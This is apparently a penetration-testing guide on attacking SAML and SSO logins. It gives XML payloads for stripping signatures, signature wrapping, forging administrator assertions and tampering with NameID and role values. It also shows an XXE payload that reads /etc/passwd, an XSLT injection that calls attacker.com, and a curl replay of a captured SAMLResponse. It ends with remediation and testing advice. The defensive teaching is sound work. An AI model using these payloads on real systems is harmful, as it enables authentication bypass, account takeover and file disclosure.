SAML & SSO Attacks
Security Assertion Markup Language (SAML) and Single Sign-On (SSO) implementations are critical authentication infrastructure in enterprise environments. Flaws in SAML parsing, signature verification, and assertion handling can lead to complete authentication bypass and account takeover.
Warning
SAML Authentication Flow
Understanding the SAML flow is essential before attacking it. The typical SP-initiated flow:
1. User → SP: User requests a protected resource
2. SP → IdP: SP generates AuthnRequest, redirects user to IdP
3. User → IdP: User authenticates at IdP (username/password, MFA)
4. IdP → SP: IdP issues signed SAML Response with Assertion
5. SP validates: SP checks signature, conditions, and grants access
Information
SP-Initiated SAML Authentication Flow
Tools & Setup
Signature Bypass Techniques
The SAML Response is signed by the IdP. If the SP improperly validates the signature, attackers can forge assertions:
Signature Bypass Decision Tree
Signature Removal
<!-- Original signed SAML Response -->
<samlp:Response>
<ds:Signature>...</ds:Signature>
<saml:Assertion>
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- Attack: Remove the Signature element entirely -->
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- If SP doesn't require signature, this grants admin access --><!-- Original signed SAML Response -->
<samlp:Response>
<ds:Signature>...</ds:Signature>
<saml:Assertion>
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- Attack: Remove the Signature element entirely -->
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- If SP doesn't require signature, this grants admin access -->XML Signature Wrapping (XSW)
<!-- XSW Attack: Move the signed assertion and add a forged one -->
<samlp:Response>
<!-- Signed (original) assertion moved here -->
<saml:Assertion ID="original">
<ds:Signature>
<!-- Signature covers this original assertion -->
</ds:Signature>
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<!-- Forged assertion — SP may process this one -->
<saml:Assertion ID="forged">
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response><!-- XSW Attack: Move the signed assertion and add a forged one -->
<samlp:Response>
<!-- Signed (original) assertion moved here -->
<saml:Assertion ID="original">
<ds:Signature>
<!-- Signature covers this original assertion -->
</ds:Signature>
<saml:Subject>
<saml:NameID>user@example.com</saml:NameID>
</saml:Subject>
</saml:Assertion>
<!-- Forged assertion — SP may process this one -->
<saml:Assertion ID="forged">
<saml:Subject>
<saml:NameID>admin@example.com</saml:NameID>
</saml:Subject>
<saml:AttributeStatement>
<saml:Attribute Name="role">
<saml:AttributeValue>administrator</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>Tip
Assertion Manipulation
NameID Tampering
If the signature can be bypassed, modify the NameID to impersonate another user. Steps: intercept the SAML Response in Burp, Base64-decode it, modify the XML, re-encode, and forward.
<!-- Original: -->
<saml:NameID>lowpriv@company.com</saml:NameID>
<!-- Modified (impersonate CEO): -->
<saml:NameID>ceo@company.com</saml:NameID>
<!-- Also try modifying role attributes: -->
<saml:Attribute Name="Role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute><!-- Original: -->
<saml:NameID>lowpriv@company.com</saml:NameID>
<!-- Modified (impersonate CEO): -->
<saml:NameID>ceo@company.com</saml:NameID>
<!-- Also try modifying role attributes: -->
<saml:Attribute Name="Role">
<saml:AttributeValue>admin</saml:AttributeValue>
</saml:Attribute>Condition Time Window Manipulation
<!-- Extend the assertion validity window -->
<saml:Conditions
NotBefore="2020-01-01T00:00:00Z"
NotOnOrAfter="2030-12-31T23:59:59Z">
<saml:AudienceRestriction>
<saml:Audience>https://target-sp.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<!-- This makes a captured assertion reusable for years --><!-- Extend the assertion validity window -->
<saml:Conditions
NotBefore="2020-01-01T00:00:00Z"
NotOnOrAfter="2030-12-31T23:59:59Z">
<saml:AudienceRestriction>
<saml:Audience>https://target-sp.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<!-- This makes a captured assertion reusable for years -->XML-Based Attacks on SAML
Since SAML uses XML, standard XML attacks (XXE, XPath injection) may work against the SP's XML parser:
<!-- XXE in SAML Response -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- XSLT Injection in SAML -->
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('http://attacker.com/collect')" />
</xsl:template>
</xsl:stylesheet>
</ds:Transform><!-- XXE in SAML Response -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response>
<saml:Assertion>
<saml:Subject>
<saml:NameID>&xxe;</saml:NameID>
</saml:Subject>
</saml:Assertion>
</samlp:Response>
<!-- XSLT Injection in SAML -->
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('http://attacker.com/collect')" />
</xsl:template>
</xsl:stylesheet>
</ds:Transform>Replay & Session Attacks
If the SP doesn't track assertion IDs (InResponseTo), a captured SAML Response
can be replayed after the session expires to regain access. Session fixation is also possible
if the SP doesn't rotate session cookies after SAML authentication.
# Replay a captured SAML Response after session timeout:
curl -X POST https://target-sp.com/acs \
-d 'SAMLResponse=PHNhbWxwOlJl...base64...' \
-d 'RelayState=/dashboard'# Replay a captured SAML Response after session timeout:
curl -X POST https://target-sp.com/acs \
-d 'SAMLResponse=PHNhbWxwOlJl...base64...' \
-d 'RelayState=/dashboard'Testing Methodology
SAML Testing Checklist
- 1. Capture SAML Response in Burp Suite (intercept POST to ACS endpoint)
- 2. Decode and analyze the XML structure (use SAML Raider)
- 3. Test signature removal — delete Signature element, forward request
- 4. Test all 8 XSW (XML Signature Wrapping) variants
- 5. Modify NameID to another user (horizontal escalation)
- 6. Modify role/group attributes (vertical escalation)
- 7. Test XXE in the SAML XML parser
- 8. Test assertion replay (re-send captured assertion)
- 9. Check for assertion validity time window enforcement
- 10. Test IdP-initiated vs SP-initiated flow differences
Evidence Collection
SAML Response: Original and modified SAML Response XML (decoded from Base64)
Burp Capture: Request/response showing successful authentication with modified assertion
Signature Removal: Proof that assertion was accepted without a valid signature
Privilege Escalation: Screenshots showing access as a different user after NameID modification
CVSS Range: Signature bypass: 9.1–9.8 (Critical) | XSW attacks: 8.1–9.1 (High-Critical) | Assertion replay: 7.5–8.6
Remediation Guidance
- Always validate signatures: Reject any assertion without a valid signature. Use strict XML canonicalization.
- Check InResponseTo: Ensure the assertion matches the original AuthnRequest ID.
- Enforce time conditions: Reject expired assertions (NotOnOrAfter) and enforce short validity windows.
- Track assertion IDs: Maintain a cache of used assertion IDs to prevent replay.
- Disable external entities: Configure XML parser to reject DTDs and external entities.
- Use established libraries: Use well-maintained SAML libraries (e.g., OneLogin, Spring Security SAML) rather than custom implementations.
False Positive Identification
- Tools flagging self-signed certificates: SAML assertions may use self-signed certs legitimately within a trust store — verify if the SP trust config accepts them.
- XML parsing differences: Different XML libraries canonicalize differently — test in the actual application context, not just a standalone parser.
- Expired assertion rejection: Getting a 403 after replaying an old assertion doesn't confirm replay protection — the assertion may simply be expired. Test with fresh assertions within the validity window.
- Signature present but not validated: Confirm the app actually verifies the signature by modifying a single byte — if it still accepts, the signature check is bypassed.